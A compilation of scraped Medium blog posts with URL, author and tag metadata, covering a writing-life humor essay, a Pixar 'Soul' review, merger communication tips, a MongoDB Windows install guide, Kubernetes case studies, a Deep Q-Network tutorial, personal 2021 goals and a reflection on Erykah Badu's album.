You can access all the names of seaborn’s many palettes by deliberately setting an incorrect palette: | https://medium.com/analytics-vidhya/your-ultimate-python-visualization-cheat-sheet-663318470db | ['Andre Ye'] | 2020-06-17 18:50:14.237000+00:00 | ['Statistics', 'Python', 'Visualization', 'Data Science', 'Data Analysis'] |
You Can Save Your Kid from Prostitution or Lawyering, but Never from Writing | Whenever someone asks me if they should become a writer I always ask them if they have considered becoming a prostitute instead.
Photo by Eric Nopanen on Unsplash
I mean, your customers seek you out, your own skill set does not actually matter much beyond making a few monotonous sounds, the working hours/remuneration ratio is vastly superior and the sheer likelihood of payment is far more certain.
Ok, so maybe I do not actually say this out loud. I actually just say “No”.
Because if you can just walk away from writing, you should. If you cannot, then you are already a writer. Then, it is pretty much just about up-skilling for the rest of your life. Think of it as a special kind of open air prison that people semi-voluntarily sign up for, eagerly checking the box that will grant them a life sentence. Go figure.
I think the two things parents pray most for is to never to have their young adult son or daughter sit them down at the kitchen table and say: “I have decided to become a prostitute.” or “I have decided to become a writer.”.
Photo by Kelly Sikkema on Unsplash
Why should I not become a writer?
Next people will be wanting a list of reasons that they should not do crack! Where do I even start?
Writing…
never ends
is frustration on an industrial scale
is hard work
is something you have to get better at forever
will lead to almost certain struggle to earn a living wage
And you might lose your mind on a regular basis, as you will discover the infinite number of rabbit holes hidden in your brain and discover they are filled with assorted disorderly notions, facts, filters, assumptions, delusions, thoughts, semi-thoughts, sea monsters and utter nonsense. You will chase your own tail through the looking glass. You are guaranteed to also discover you looking right back at yourself in open scorn, more times than you will want to endure. And yet, people worry about absinthe.
Throughout my youth, I was told I should become a lawyer.
Photo by Dmitrij Paskevic on Unsplash
And I am confident I would have been a good one. I know I would have actually enjoyed constructing arguments and whipping pertinent facts through painstakingly designed hoops.
And though I have been fortunate enough to make a good living as a writer, it is nowhere near the indecent amount of cash I could have scored as a lawyer. Basically, any working writer has a beast of a work ethic that they could have refocused effectively into some much more lucrative career. But then, it was just never really an option. Because writing.
Nothing beats it. There is such immense satisfaction in distilling thoughts into a visible form that can be shared with other people, across vast distances of space and time. Writers commune constantly with the depths of their own humanity, while simultaneously making a constant exploration and study of everything they can observe of what other people think, feel and do. To find the connections, to discover what resonates. And then bring that into their own work. All to ultimately make direct contact with the minds of perfect strangers to entertain, influence, inspire, uplift or otherwise make some valuable impact. Essentially, to move people.
Once you have truly seen or felt the impact of the written word, and then have also somehow been compelled to allow the sentences tumbling around in your head to enter the world on paper or on a screen, it has begun.
And if you return to this activity again and again, regardless of the reward or lack of reward, scribbling onward at intervals, you are most likely in the throes of a full-blown addiction and there is nothing to do about it but write on and hope for the best. For I have never heard of a single case of anyone being cured.
Photo by Andrew Neel on Unsplash
Here I am only a few weeks into writing on Medium and I feel like a kid in a candy store! I love this place. So much to read, so much to write! I really came to Medium to read more by a few bloggers I kept stumbling across. I kind of just happened to write a thing or two. And perhaps I may have five or twenty drafts cooking. But I do want to say that, despite all that, I can quit anytime I want to. Really. | https://medium.com/literally-literary/you-can-save-your-kid-from-prostitution-or-lawyering-but-never-from-writing-a54781765c98 | ['Ingrid L. Williams'] | 2020-03-01 20:35:36.651000+00:00 | ['Humor', 'Writing Life', 'Essay', 'Life Lessons', 'Writing'] |
You Gotta’ Have It | You Gotta’ Have It
By Mark
From Mr Pixar himself, Pete Docter, comes their latest exploration of humanism with Soul. Very much continuing the themes, and some of the look of, Inside Out, which Docter also wrote and directed, Soul is the story of just that, your soul.
Jamie Foxx (“ Baby Driver “, “Project Power”) is Joe, a jazz pianist who has just got the news he’s been given a full-time position as a music teacher at a local school. This is very much not the job Joe wants, Joe wants to be a jazz musician, playing with the best, playing to adoring crowds.
His time arrives (finally in his eyes) when a former pupil, now drummer, invites him to audition for a saxophonist legend. Joe is so happy about this; he isn’t paying attention to where he’s going and falls down an open manhole cover.
When he comes to, Joe is on a long travellator heading towards a large white light in the middle of space. Joe refuses to accept the inevitable and plunges into the abyss below which brings him to the ‘before’ where he meets Jerry, Alice Braga (“Elysium”, “Kill Me Three Times”), Jerry, Richard Ayoade (“ Early Man”, “ Paddington 2 “), oh and Jerry, Wes Studi (“Heat”, “The Last Of The Mohicans”).
‘Jerry’ is a form, a sort of line drawing, that, well, you should watch, anyway, Joe is mistaken for a mentor, someone who will help the souls who are about to head to earth to become people.
Joe, still bluffing his way through things, is mistaken for a psychiatrist, and is given soul number 22, Tina Fey (“Saturday Night Live (TV)”, “30 Rock (TV)”), to counsel. 22 has been in this limbo state for quite some time, not wanting to go to earth, having had counsellors including Ghandi and Abraham Lincoln, none of whom have been able to find her the final ‘mark’ she needs to go to earth, which is just fine by her.
Joe does his best to find that spark, on the basis that when she gets the final mark and is given her pass she’ll pass it on to him. Before that though, 22 takes Joe to meet Moonwind, Graham Norton, a hippy who can help some reconnect with their body.
In an unfortunate mix-up, both Joe and 22 plummet to Earth with not quite the consequences either were hoping for. Now, Joe must find a way back into himself as 22 begins to learn what it really means to be on earth.
Soul is, as you would expect from a Pixar film, a truly outstanding looking film. There are moments when it looks like a live-action movie, it’s remarkable.
The story is full of beautiful moments, funny moments, cheeky moments and some interesting concepts about life and death. It’s also as colourful as previous Pixar films and in all that regards it is nothing less than you would expect.
If there’s a criticism, it’s that usually when I watch a Pixar film, I always feel like they are new, something that hasn’t been seen before.
Soul, to me at least, doesn’t feel like that. The colours and look and feel are very much akin to Inside Out and the very start has moments of Christopher Nolan’s Interstellar. Neither of which are bad things per-say, just surprising to see a Pixar film not be leading from the front I guess.
Despite that, or maybe because of, Soul is a wonderful and sweet movie. Catch it on Disney+ from Christmas day 2020. | https://medium.com/@ocmoviereviews/soul-review-fc16efe6206d | ['Oc Movie Reviews'] | 2020-12-11 21:08:39.186000+00:00 | ['Movie Review', 'Movies', 'Soul', 'Film Review', 'Films'] |
It’s closing day for your merger or acquisition: Here’s how to communicate | 6 ways to engage employees on day one of your new company
Your company is about to close on a merger or acquisition. The project team has been feverishly hammering out the details for months. You’ve been working with the team to plan effective change communication, but you’re worried — there are so many variables to consider!
It’s going to be a challenge to make the big announcement. You’ve got to:
· Share the message with all employees at the same time
· Create excitement about the accomplishment
· Start building knowledge of the new business strategy
· Generate confidence in the new company
· Break through the rumor mill and employees’ anxiety about job security
That’s a lot! So where do you begin?
Start by taking a deep breath. Now, put on your thinking cap and break out your project management skills, because you’ve got a lot of coordination and creative thinking to do. And we’re here to help you through it.
To develop effective merger or acquisition communication, divide your work into two main phases: developing a communication timeline and implementing a variety of high-touch tactics.
First: Develop a communication timeline
Your first goal is to create a communication plan and tactical timeline. But the closing date is a moving target, so traditional planning methods aren’t going to cut it.
Take the following steps to map out a plan that you can quickly adapt as milestones change:
· Meet with senior executives — those closest to the deal — to understand potential timing scenarios and likely obstacles that could delay the closing date.
· Develop a communication timeline based on the most likely closing scenario.
· Develop back-up options for two or three other scenarios.
-Consider how days of the week, holidays and certain times of year could impact your communication. For example, what if the closing happens the day before Thanksgiving, and you have employees in the U.S., Europe and Asia?
· Schedule regular check-in meetings with senior executives and/or project team members so you’re able to continually update your timeline as things change. Remember to get buy-in for your plan iterations along the way.
Second: Implement a variety of high-touch tactics
The communication plan for your merger or acquisition should include a diverse set of strategies and tactics so you’re able to engage all employees in multiple ways, no matter their location or job.
Here are six ideas for creating a closing day experience that will get employees excited for the company’s big step forward.
1. Spice up the initial announcement
For most organizations, it’s critical to send an all-employee message announcing the close — typically an email. But so many emails fall flat because they:
· Simply restate the press release (“I already read that.”)
· Fail to hit an exciting tone (“Yawn!”)
· Don’t tell employees what the merger or acquisition means to them (“So what?”)
Instead, send your workforce an email with a short, two- to three-sentence introduction with a visual or interactive message. Try one of these ideas:
· Film a video of your CEO announcing the close, but add a twist, like a 20-second clip of employees from both companies introducing themselves.
· Set up a live chat on your intranet so employees can submit questions and senior leaders can respond in real time.
· Create a photo reel of senior executives and project team members working on the deal (use captions to describe the action).
2. Hold a company-wide town hall
During times of big change, it’s important for employees to hear directly from the CEO. Leadership communication engages employees by creating focus, building trust and dispelling rumors.
Here are a few ways to make your town hall a success:
· Change the format. Instead of a boring run-through of seven senior leaders talking at employees, try a panel discussion or talk show technique to make the meeting more dynamic.
· Make sure there’s plenty of time for participation. Signal that conversation will be a key component by devoting 20 or 30 minutes to a question-and-answer session.
· Get employees talking by asking them a question, like “What concerns do you have about the merger?” or “How can we ramp up production during our complex transition?”
· Give everyone an equal experience. Some employees will attend in person while others will join via web or phone. Assign facilitators in each office to share attendees’ questions with the main location. And offer web chat for remote employees.
3. Involve leaders in the plan
Leader visibility is essential to building trust and knowledge during change. Leaders articulate direction, set context and provide motivation. Help leaders step up to the plate by providing them with resources, advice and plans to communicate effectively about the merger or acquisition.
· Hold a prep meeting to get leaders on the same page. Provide details of the closing and inspire leaders to act as the voice of the change.
· Develop toolkits to help leaders speak knowledgeably about the closing. Include key messages, FAQs and tips for communicating.
· Send leaders on a roadshow. Deploy your executives to major locations around the globe. This will give your workforce the opportunity to ask questions in person and feel included.
4. Develop eye-catching workplace communication
If you want to break through the clutter and create an impact, try something visual that will capture employees’ attention in unexpected places. Create posters, digital signs, banners, table tents, window clings, floor decals or even coffee cup sleeves. Here are some tips for success:
· Stick to one message. The less text on your sign, the easier it will be to read.
· Use a compelling image. One arresting visual is all you need to get noticed.
· Have fun. Add a little humor or an unexpected photo to pique interest.
5. Host on-site parties
The majority of your employees haven’t been involved in negotiations and are feeling out of the loop. So get them involved by planning parties at major locations for all to enjoy. It’s the perfect way to celebrate this key milestone, and employees won’t forget it. Here’s how:
· Recruit liaisons to plan logistics and host the parties.
· Give liaisons clear recommendations, like “spend $500 on refreshments such as cake or make-your-own ice cream sundaes,” and “order blue and green mylar balloons.”
· Ask senior leaders to give a short speech.
· Create printable signage that employees can hold while taking photos.
· Plan contests and give winners gifts with the new company logo.
6. Create opportunities for employees to get engaged
Increase participation levels and make sure your remote employees can join the excitement with interactive communication. Here are some ideas to get you started:
· Create an online photo album where employees can post pictures of themselves celebrating closing day.
· Host chat forums so employees can discuss the change in real time. Create threads for different topics, like organizational design and benefits changes.
· Run a contest where employees have to answer questions about each legacy company’s history. This will promote cross-company awareness while encouraging play and building engagement.
Now that you’ve got a flexible communication timeline and a set of immersive tactics, you’re ready to conquer closing day. As a result, employees will be well informed and equipped to support the new company’s goals. | https://medium.com/@davidpitre/its-closing-day-for-your-merger-or-acquisition-here-s-how-to-communicate-fe64d8e6feb6 | ['David Pitre'] | 2020-11-21 11:46:53.144000+00:00 | ['Communication', 'Company', 'Understanding', 'Planning'] |
Downloading and Installing MongoDb On Windows | Step 1
download mongoDb from here. Make sure MSI is selected as the package you want to download
make sure choose windows in the OS option..
step 2
Installing MongoDb
now head over to your pc download directory. look for the mongodb installation wizard, double click to start installation process.
2. Click next to begin installation
3. Accept license agreement and click next
4. choose the complete setup option, then click next
5. Select “Run service as Network Service user”
6. Click Install to begin installation
7. Installation begins. Click Next once completed
8. Click the finish button to complete installation
MongoDB also comes with Compass, which is a graphical tool.
Once installation is complete, we’ll need to set up MongoDB on the local system.
To run the mongo shell, you’ll need to go to the monogdb location.
here is the path to mongodb location:
c:\Program Files\MongoDB\Server\4.2\bin
mongodb location
now head over to windows command prompt and run as administrator
now, in the terminal lets navigate to the mongodb folder
cd c:\Program Files\MongoDB\Server\4.2\bin
Start the mongodb daemon by running:
mongod
Connect to MongoDB using the Mongo shell While the MongoDB daemon is running, from a different Command prompt window run
c:\Program Files\MongoDB\Server\4.2\bin\mongo
To verify if the setup was successful
mongo --version
Okay guys, we’ve come to the end of our long session. Go ahead and build amazing stuffs with Mongodb.
you can follow on twitter @Aboki_frontend | https://medium.com/@mallamshuaib/downloading-and-installing-mongodb-on-windows-1e12a792d075 | ['Shuaib Oseni'] | 2020-01-27 10:39:08.669000+00:00 | ['Mongodb', 'Backend Development', 'Backend', 'Web', 'Database'] |
CASE STUDY | KUBERNETES | | Industrial Use-Case
Who uses Kubernetes?
Companies
Developers
Kubernetes Integration
CASE STUDY
Kubernetes is adopted by number of industries, and after using they are getting a lots of advantages in terms of performance, Speed, Management and finally increased Net Worth by making Application’s Infrastructure strong that helps them to reach number of customers
1.)Adidas
Challenge
In recent years, the adidas team was happy with its software choices from a technology perspective — but accessing all of the tools was a problem. For instance, “just to get a developer VM, you had to send a request form, give the purpose, give the title of the project, who’s responsible, give the internal cost center a call so that they can do recharges,” says Daniel Eichten, Senior Director of Platform Engineering.
“The best case is you got your machine in half an hour. Worst case is half a week or sometimes even a week.”
Solution
To improve the process, “we started from the developer point of view,” and looked for ways to shorten the time it took to get a project up and running and into the adidas infrastructure, says Senior Director of Platform Engineering Fernando Cornago. They found the solution with containerization, agile development, continuous delivery, and a cloud native platform that includes Kubernetes and Prometheus.
Impact
Just six months after the project began, 100% of the adidas e-commerce site was running on Kubernetes. Load time for the e-commerce site was reduced by half. Releases went from every 4–6 weeks to 3–4 times a day.
With 4,000 pods, 200 nodes, and 80,000 builds per month, adidas is now running 40% of its most critical, impactful systems on its cloud native platform.
“For me, Kubernetes is a platform made by engineers for engineers. It’s relieving the development team from tasks that they don’t want to do, but at the same time giving the visibility of what is behind the curtain, so they can also control it.”
— FERNANDO CORNAGO, SENIOR DIRECTOR OF PLATFORM ENGINEERING AT ADIDAS
2.)AWS
Kubernetes on AWS
Kubernetes is open source software that allows you to deploy and manage containerized applications at scale. Kubernetes manages clusters of Amazon EC2 compute instances and runs containers on those instances with processes for deployment, maintenance, and scaling. Using Kubernetes, you can run any type of containerized applications using the same toolset on-premises and in the cloud.
AWS makes it easy to run Kubernetes in the cloud with scalable and highly-available virtual machine infrastructure, community-backed service integrations, and Amazon Elastic Kubernetes Service (EKS), a certified conformant, managed Kubernetes service.
How it works?
Kubernetes works by managing a cluster of compute instances and scheduling containers to run on the cluster based on the available compute resources and the resource requirements of each container. Containers are run in logical groupings called pods and you can run and scale one or many containers together as a pod.
Kubernetes control plane software decides when and where to run your pods, manages traffic routing, and scales your pods based on utilization or other metrics that you define. Kubernetes automatically starts pods on your cluster based on their resource requirements and automatically restarts pods if they or the instances they are running on fail. Each pod is given an IP address and a single DNS name, which Kubernetes uses to connect your services with each other and external traffic.
Why Kubernetes?
Because Kubernetes is an open source project, you can use it to run your containerized applications anywhere without needing to change your operational tooling. Kubernetes is maintained by a large community of volunteers and is always improving. Additionally, many other open source projects and vendors build and maintain Kubernetes-compatible software that you can use to improve and extend your application architecture.
3.)Bose
Challenge
A household name in high-quality audio equipment, Bose has offered connected products for more than five years, and as that demand grew, the infrastructure had to change to support it. “We needed to provide a mechanism for developers to rapidly prototype and deploy services all the way to production pretty fast,” says Lead Cloud Engineer Josh West.
In 2016, the company decided to start building a platform from scratch. The primary goal: “To be one to two steps ahead of the different product groups so that we are never scrambling to catch up with their scale,” says Cloud Architecture Manager Dylan O’Mahony.
Solution
From the beginning, the team knew it wanted a microservices architecture. After evaluating and prototyping a couple of orchestration solutions, the team decided to adopt Kubernetes for its scaled IoT Platform-as-a-Service running on AWS. The platform, which also incorporated Prometheus monitoring, launched in production in 2017, serving over 3 million connected products from the get-go. Bose has since adopted a number of other CNCF technologies, including Fluentd, CoreDNS, Jaeger, and OpenTracing
Impact
With about 100 engineers onboarded, the platform is now enabling 30,000 non-production deployments across dozens of microservices per year. In 2018, there were 1250+ production deployments. Just one production cluster holds 1,800 namespaces and 340 worker nodes. “We had a brand new service taken from concept through coding and deployment all the way to production, including hardening, security testing and so forth, in less than two and a half weeks,” says O’Mahony.
“At Bose we’re building an IoT platform that has enabled our physical products. If it weren’t for Kubernetes and the rest of the CNCF projects being free open source software with such a strong community, we would never have achieved scale, or even gotten to launch on schedule.”
4.)Huawei
Challenge
A multinational company that’s the largest telecommunications equipment manufacturer in the world, Huawei has more than 180,000 employees. In order to support its fast business development around the globe, Huawei has eight data centers for its internal I.T. department, which have been running 800+ applications in 100K+ VMs to serve these 180,000 users. With the rapid increase of new applications, the cost and efficiency of management and deployment of VM-based apps all became critical challenges for business agility. “It’s very much a distributed system so we found that managing all of the tasks in a more consistent way is always a challenge,” says Peixin Hou, the company’s Chief Software Architect and Community Director for Open Source. “We wanted to move into a more agile and decent practice.”
Solution
After deciding to use container technology, Huawei began moving the internal I.T. department’s applications to run on Kubernetes. So far, about 30 percent of these applications have been transferred to cloud native.
Impact
“By the end of 2016, Huawei’s internal I.T. department managed more than 4,000 nodes with tens of thousands containers using a Kubernetes-based Platform as a Service (PaaS) solution,” says Hou. “The global deployment cycles decreased from a week to minutes, and the efficiency of application delivery has been improved 10 fold.” For the bottom line, he says, “We also see significant operating expense spending cut, in some circumstances 20–30 percent, which we think is very helpful for our business.” Given the results Huawei has had internally — and the demand it is seeing externally — the company has also built the technologies into FusionStage™, the PaaS solution it offers its customers.
“If you’re a vendor, in order to convince your customer, you should use it yourself. Luckily because Huawei has a lot of employees, we can demonstrate the scale of cloud we can build using this technology.”
5.)IBM
IBM Cloud offers public, private, and hybrid cloud functionality across a diverse set of runtimes from its OpenWhisk-based function as a service (FaaS) offering, managed Kubernetes and containers, to Cloud Foundry platform as a service (PaaS). These runtimes are combined with the power of the company’s enterprise technologies, such as MQ and DB2, its modern artificial intelligence (AI) Watson, and data analytics services. Users of IBM Cloud can exploit capabilities from more than 170 different cloud native services in its catalog, including capabilities such as IBM’s Weather Company API and data services. In the later part of 2017, the IBM Cloud Container Registry team wanted to build out an image trust service.
The work on this new service culminated with its public availability in the IBM Cloud in February 2018. The image trust service, called Portieris, is fully based on the Cloud Native Computing Foundation (CNCF) open source project Notary, according to Michael Hough, a software developer with the IBM Cloud Container Registry team. Portieris is a Kubernetes admission controller for enforcing content trust. Users can create image security policies for each Kubernetes namespace, or at the cluster level, and enforce different levels of trust for different images. Portieris is a key part of IBM’s trust story, since it makes it possible for users to consume the company’s Notary offering from within their IKS clusters. The offering is that Notary server runs in IBM’s cloud, and then Portieris runs inside the IKS cluster. This enables users to be able to have their IKS cluster verify that the image they’re loading containers from contains exactly what they expect it to, and Portieris is what allows an IKS cluster to apply that verification.
Impact
IBM’s intention in offering a managed Kubernetes container service and image registry is to provide a fully secure end-to-end platform for its enterprise customers. “Image signing is one key part of that offering, and our container registry team saw Notary as the de facto way to implement that capability in the current Docker and container ecosystem,” Hough says. The company had not been offering image signing before, and Notary is the tool it used to implement that capability. “We had a multi-tenant Docker Registry with private image hosting,” Hough says. “The Docker Registry uses hashes to ensure that image content is correct, and data is encrypted both in flight and at rest. But it does not provide any guarantees of who pushed an image. We used Notary to enable users to sign images in their private registry namespaces if they so choose.”
“We see CNCF as a safe haven for cloud native open source, providing stability, longevity, and expected maintenance for member projects — no matter the originating vendor or project.”
6.) Pinterest.
Challenge
After eight years in existence, Pinterest had grown into 1,000 microservices and multiple layers of infrastructure and diverse set-up tools and platforms. In 2016 the company launched a roadmap towards a new compute platform, led by the vision of creating the fastest path from an idea to production,without making engineers worry about the underlying infrastructure.
Solution
The first phase involved moving services to Docker containers. Once these services went into production in early 2017, the team began looking at orchestration to help create efficiencies and manage them in a decentralized way. After an evaluation of various solutions, Pinterest went with Kubernetes.
Impact
“By moving to Kubernetes the team was able to build on-demand scaling and new failover policies, in addition to simplifying the overall deployment and management of a complicated piece of infrastructure such as Jenkins,” says Micheal Benedict, Product Manager for the Cloud and the Data Infrastructure Group at Pinterest. “We not only saw reduced build times but also huge efficiency wins. For instance, the team reclaimed over 80 percent of capacity during non-peak hours. As a result, the Jenkins Kubernetes cluster now uses 30 percent less instance-hours per-day when compared to the previous static cluster.”
“So far it’s been good, especially the elasticity around how we can configure our Jenkins workloads on that Kubernetes shared cluster. That is the win we were pushing for.”
7.)Pokemon Go
How was ‘Pokemon Go’ able to scale so efficiently & became so successful? The answer is Kubernetes. Pokemon Go was developed and published by Niantic Inc. 500+ million downloads and 20+ million daily active users.
Pokemon Go engineers never thought their user base would increase exponentially surpassing the expectations within a short time, they were not ready for it, and even the servers couldn’t handle this much traffic.
Challenge
The horizontal scaling on one side but Pokemon Go also faced a severe challenge when it came to vertical scaling because of the real-time activity by millions of users worldwide. Niantic was not prepared for this.
Solution
The magic of containers. The application logic for the game ran on Google Container Engine (GKE) powered by the open source Kubernetes project. Niantic chose GKE for its ability to orchestrate their container cluster at planetary-scale, freeing its team to focus on deploying live changes for their players.
In this way, Niantic used Google Cloud to turn Pokémon GO into a service for millions of players, continuously adapting and improving. This got them more time to concentrate on building the game’s application logic and new features rather than worrying about the scaling part.
Conclusion
Kubernetes has not only helped in the vertical and horizontal scaling of containers but have turned the tables for innovative engineering expectations. It has been succeeded in deployment for an initial estimate of servers. Also, it has gained so much popularity in a short span of time. Hence, most of the industry engineers will respond with inspiring stories to get their businesses right on tracks. | https://medium.com/@ghorpademangesh17/case-study-kubernetes-b6ed30cf4e5b | ['Mangesh Ghorpade'] | 2020-12-27 17:04:52.438000+00:00 | ['Kubernetes', 'Industry', 'Case Study'] |
Set intentions to raise your vibration fast | SPIRITUAL LIVING
Raising your vibration is the number one thing you need to do to be on the receiving frequency.
It is a skill that takes time to learn and get the hang of.
You want to work on raising your vibe to manifest things into your life.
That is why some things you are trying to attract just aren’t coming or coming to you as fast as other people.
The person who seems to have everything. They have a lot of money and they emanate success and happiness. They are on a different level than you. Get on it. raise your vibration, that is most likely where your desire is.
It’s waiting for you.
People think you can say, “I want this, or that” and think it happens just like that with the law of attraction. You need to put forth power into these words. Use words like, “I can”, and “I will”. Feel the emotions that come with your statement.
What are setting intentions?
To raise one’s vibration, you need to change the way you are thinking about a good 90%. I say 90% because you are still going to have negative thoughts. It just happens.
You can’t expect to always have positive thoughts.
You still need to allow yourself those emotions every once in a while. I am just saying to become more aware of what emotions and thoughts you are having so you are better equipped to handle them.
A lot of the time we are so used to thinking negatively that we just do it on auto-pilot.
Once we begin to be more mindful and aware of these thoughts we can learn to step out of this negative thought pattern.
Setting intentions is one of the ways that I train my mind to have more positive thoughts and therefore have better days leading to being on a higher vibration.
Ways you can set your intentions. | https://medium.com/@sopharooskie/set-intentions-to-raise-your-vibration-fast-3c7b7183c591 | [] | 2020-12-23 05:47:06.807000+00:00 | ['Lifestyle', 'Self Care', 'Life Lessons', 'Self Improvement', 'Spirituality'] |
Deep Q-Networks: from theory to implementation | Well, in the Q-learning algorithm, we compute the Q-table which contains the Q-values of any state-action pair using the Q-value iteration. Q-learning algorithm works well for finite states and actions spaces because, since we store every state-action pair, this would mean that we need huge space amount of memory to store all of them and much more iterations for the Q-table to converge. In the case where states space, actions space or both of them are continuous, it is just impossible to use the Q-learning algorithm.
As a solution to this problem, we can compute the Q-value function using Deep Neural Networks which are known for their efficiency to approximate functions. Indeed, think of the Q-table as an evaluation of an unknown function at some points. Since it is a function, we can use Deep Neural networks to approximate it and thus, allows us to deal with continuous spaces without any problem. This is what we call Deep Q-Networks. The image below shows the RL process when using DQN.
As we can see, the Deep Neural Network (DNN) takes as an input a state and outputs the Q-values of all possible actions for that state. We understand that the input layer of the DNN has the same size than a state size and that the output layer has the size of the number of actions that the agent can take.
To summarize, when the agent is at a certain state, he forwards that state through the DNN and chooses the action with the highest Q-value.
But how the agent learns? And how the DNN is updated?
To train our DNN, we use a technic called Replayed Memory. The idea is that the agent stores all its experiences in a memory buffer called replayed memory buffer. At time step t, the experience is a tuple containing the current state of the environment, the chosen action, the reward and the next state of the environment:
After each episode, the agent samples a batch of experiences from the replayed memory and use them to train the DNN. During the training, we use as a loss function the Temporal Difference error function (TD function), which is the difference between the Q-value of a state-action pair and its Q-Target.
As the Q-Target is unknown, we use once again the Bellman optimality equation that we recall:
Bellman optimality equation
, where s’ is the next environment state. To compute the highest Q-value from state s’, we only need to froward s’ through the DNN and get the highest output value.
You might ask why we sample a batch instead of selecting consecutive experiences. Actually, it is a relevant question.
We prefer sampling randomly rather than selecting consecutive experiences because consecutive experiences are highly correlated which can lead to an overfitting situation. We can simply break this correlation by sampling randomly.
Consecutive experiences
Random experiences
Well, now we can start coding! We will use CartPole environment provided by gym, an opensource python library which provides many environments for Reinforcement Learning such as Atari Games. In CartPole, we have a pole standing on a cart which can move. The goal of the agent is to keep the pole up by applying some force on tit every time step. When the pole is less than 15° from the vertical, the agent receives a reward of 1. An episode is ended when the pole is more than 15° far from the vertical or when the cart position exceeds 2.4 units from the centre.
Let’s start. First, we import all libraries that we need:
As you can see, we use Keras (integrated with TensorFlow), to build our neural network. You don’t need to master Keras to understand the code because I will explain each step of the implementation.
As we saw previously, the agent has to:
compute the action to choose for a given state
store its experiences in a memory buffer
train the DNN by sampling a batch of experiences from the memory buffer
In addition to that, we have to pay attention to the exploration-exploitation trade-off that I explained in my previous post. To recall it rapidly, the agent is more likely to explore the environment in the beginning by choosing random actions because he has no idea about how the environment works. Through time steps, the agent gets more and more knowledge, so he is more likely to exploit his knowledge rather than picking random actions. For that purpose, we will use the epsilon greedy algorithm.
We will need to create a class that we name DQNAgent
The code is well documented. Please read the comments to understand what different functions refer to.
Now, since we built our agent, we can start the training:
We are done, just let the agent learn!
After 600 iterations of training, we can use the following code to watch our agent playing CartPole.
And this is what we get:
Our agent playing CartPole
Conclusion
DQNs are very efficient but we still can improve them. Indeed, we notice that when we compute the Q-Target values, we use the neural network that we are updating. Thus, after updating the weights of the neural network, the Q-values move towards the Q-Target values but also Q-Target values move in the same direction which makes the optimization chasing its own tail and unstable. At the same time, selecting random experiences from the memory buffer may not be the optimal strategy. Indeed, the agent may focus on experiences where the TD error is large.
As a solution for these two problems, we introduce the Double Q-Networks and the Prioritized Experience Replay that I will explain in future posts.
I hope you understood the Deep Q-Networks and that you are able now to implement your own DQN!
Thank you! | https://towardsdatascience.com/deep-q-networks-theory-and-implementation-37543f60dd67 | ['Amrani Amine'] | 2020-12-19 20:27:10.196000+00:00 | ['Reinforcement Learning', 'Dqn', 'Q Learning', 'Deep Q Learning'] |
2021 Goals | As 2020 comes to an end, let’s talk about 2021 goals. I plan on getting started on December 28, 2020. Why, well because my planner starts on that day and my OCD is telling me I need to start on page one.
I’m going to be focusing on 5 things in 2021. 4 of these things are business/work related and the 5th one is strictly personal.
YouTube
My biggest goal for 2021 is to grow my YouTube presence. Up until this point, we’ve been focused on making Scratch tutorials, but in 2021, we are going to expand to other types of tutorials. When we originally set up Apetech Tutorials, we always intended to make it a multi topic tutorial channel. As such, we’ll be rearchitecting our Scratch tutorials to line up with the following objectives:
AP Computer Science Curriculum based videos.
Scratch Videos based on grade level (elementary, middle school, and high school)
In addition to Scratch, we’ll be venturing into new areas related to STEM. We’ll be doing more tutorial videos on Micro:bit and Makey Makey. We could do a lot more, but focusing on just Scratch, Micro:bit, and Makey Makey is going to allow us to create valuable tutorials that have a direct impact on the educators trying to utilize this technology in their classrooms.
Podcast
On the podcast front, I plan on continuing my efforts in the cyber security world. I’m going to be focusing on three main target audiences and pivoting my podcast around those topics.
First, I’ll be focusing on creating valuable content for small business owners.
Second, I’ll be focusing on creating valuable content for everyday stewards of the internet.
And finally, I’ll be focusing on creating valuable content for students.
Blogging/Writing/Courses
I’ll be writing 3 books/courses in 2021. I’ll also be focusing my blog posts to these topics as well. There will be many blog posts that will all feed into my books and courses. The topics are:
Jira Execution
Technical Program Management
STEM Book (Based on the topics/tutorials from YouTube)
Apetech LLC (Freelancing/Consulting)
I started an LLC in the Summer of 2020. I haven’t really done anything with it because both my wife and I have full time jobs that don’t really give us too much time to work on it in a way that I think would benefit my customers. In 2021, I’m going to start venturing into some minimal freelance work that I can finish/complete over the weekend. I’m going to start out super small as I don’t want to over commit, but meaningful enough that if I can grow something, I’ll try to fuel the fire. I’m going to start out with reaching to local businesses in my community and also posting to upwork and fiverr.
Weight Management
I’m pretty tired of weighing over 200 pounds. 2021 has to be the year where I finally tip the scale in my favor. I’m getting a Fitness+ membership and I’m building a mini home gym in my garage. Weather permitting, I’ll be running/walking a lot more as well.
Conclusion
Those are my 5 areas of focus for 2021. I have many other things I’ll be working on in 2021, but I’m going to try to keep my focus on just those 5things. Once I grow each of those, then I can afford to spend more time on my other ideas. But currently, I feel like I’m just thinning myself out that I don’t actually make any traction. So, in 2021, I’ll be trying to get traction on these things and put all my time and energy into just these things. Wish me luck! If you want to stay up to date with my journey, please make sure you follow me here on Medium and on all my other social media places which can be found in my profile description. | https://medium.com/@apetechda/2021-goals-58b2bd7e10e8 | ['Alex Ortiz'] | 2020-12-27 17:16:13.125000+00:00 | ['Motivation', 'Hustle', 'Goals', 'Inspiration', '2021'] |
Mama’s Gun…& Me. | The night before I checked myself into the hospital this past May is something I won’t forget. I had spent all that day, and the day before in a haze. My “annoying cramps” had increased to full blown discomfort, coupled with aggressively vomiting anything I tried to consume. I was also lethargic beyond compare and had no energy to do anything besides lay there and Postmates Gatorades and McDonalds. I had no clue what the hell was wrong with me, but naively believed that I had caught some sort of stomach bug or food poisoning. At one point, after I had thrown up my food — I actually thought that I was beginning to feel better, but soon after the twists in my stomach would return even stronger than before.
As I lay in bed that night, trying my absolute hardest to sleep, I listened to my music and stared up at the moon that shone directly into my window. Then “Green Eyes” came on. Airy and slow. It was exactly what I needed in that moment-a distractor- but not an overbearing one. It made me feel reflective, not just of what was happening to me right then, but of relationships (both romantic and plutonic), job experiences, the pandemic and state of the world. Listening to “Green Eyes” that night, I could not help but cry mostly because it was the only thing I could do to really express myself. I listened to it on repeat for 20 minutes before I let the rest of the album play.
Listening to Mama’s Gun was like listening to a movie of my life. I was not unfamiliar to some of the songs, but as a grown woman, who at this point was facing grown woman problems, I listened to the album differently. Lyrics which had at first sat on the surface like a glaze, were really beginning to sink in.
